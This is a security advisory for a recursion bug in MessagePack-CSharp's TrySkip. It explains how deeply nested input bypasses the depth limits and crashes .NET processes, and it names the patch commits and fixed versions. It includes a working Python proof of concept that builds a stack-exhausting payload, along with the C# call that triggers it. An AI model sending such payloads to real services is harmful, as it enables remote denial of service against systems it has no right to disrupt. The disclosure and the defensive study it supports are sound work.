CVE-2026-48506: MessagePack-CSharp Uncontrolled Recursion in TrySkip Causes Process Crash
A bug in MessagePack-CSharp's skip logic lets an attacker send a deeply nested binary payload that bypasses all depth limits, exhausts the process stack, and crashes the application with an uncatchabl

The problem
MessagePackReader.TrySkip() recursively descends into nested arrays and maps without incrementing the reader depth counter or invoking any of the configured depth checks. This means MessagePackSecurity.MaximumObjectGraphDepth, the library's documented guard against deep graphs, is completely bypassed on any code path that calls Skip.
Generated and dynamic formatters call reader.Skip() on unknown map keys, extra array elements, and ignored fields. An attacker who controls the payload can place an arbitrarily deep nested structure in any of those skipped positions. Because StackOverflowException is not catchable in normal .NET execution, the result is immediate process termination, making this a reliable remote denial of service against any service that deserializes untrusted MessagePack.
Proof of concept
# Trigger: deserialize any [MessagePackObject] type with an extra unknown field.
# Element 0 is the known field; element 1 (unknown) is sent to reader.Skip().
# reader.Skip() recurses once per nesting level -> stack exhaustion.
#
# Python builder:
import struct
def build_payload(depth=10000):
# fixarray(2): outer object encoded as 2-element array
# element 0: integer 0 (the known field value)
# element 1: 'depth' levels of fixarray(1) followed by nil
nested = b'\xc0' # nil - innermost leaf
for _ in range(depth):
nested = b'\x91' + nested # 0x91 = fixarray(1)
payload = b'\x92' # fixarray(2) - the object array
payload += b'\x00' # element 0: integer 0
payload += nested # element 1: deeply nested (goes to Skip)
return payload
with open('crash.msgpack', 'wb') as f:
f.write(build_payload())
# Trigger in C#:
# var options = MessagePackSerializerOptions.Standard; // UntrustedData does NOT help
# MessagePackSerializer.Deserialize<MyKnownType>(payload, options); // crashes processThe root cause (CWE-674) is that TrySkip internally called itself once per array element and once per map key-value pair, with no depth guard at all. Each nesting level consumed one .NET call frame. A chain of N single-element fixarray tokens (byte 0x91) caused exactly N recursive calls to TrySkip, making stack depth entirely attacker-controlled.
The patch (commit 696b4a7 on v2.x, b9cb605 on v3.x, titled 'Use iteration for skipping msgpack structures') replaced the recursive descent with an iterative loop that maintains a pending-count on the heap instead of the call stack. This means no matter how deeply nested the input is, the skip path uses O(1) stack space and the attack surface is eliminated.
MessagePackSecurity.UntrustedData did not mitigate this because the skip code path never called DepthStep.
The fix
Upgrade to MessagePack 2.5.301 (v2.x line) or 3.1.7 (v3.x line). Both versions replace the recursive TrySkip implementation with an iterative one. No API or behavioral changes are needed after upgrading. There is no viable workaround for applications that deserialize untrusted data on unpatched versions.
Reported by AArnott (Andrew Arnott).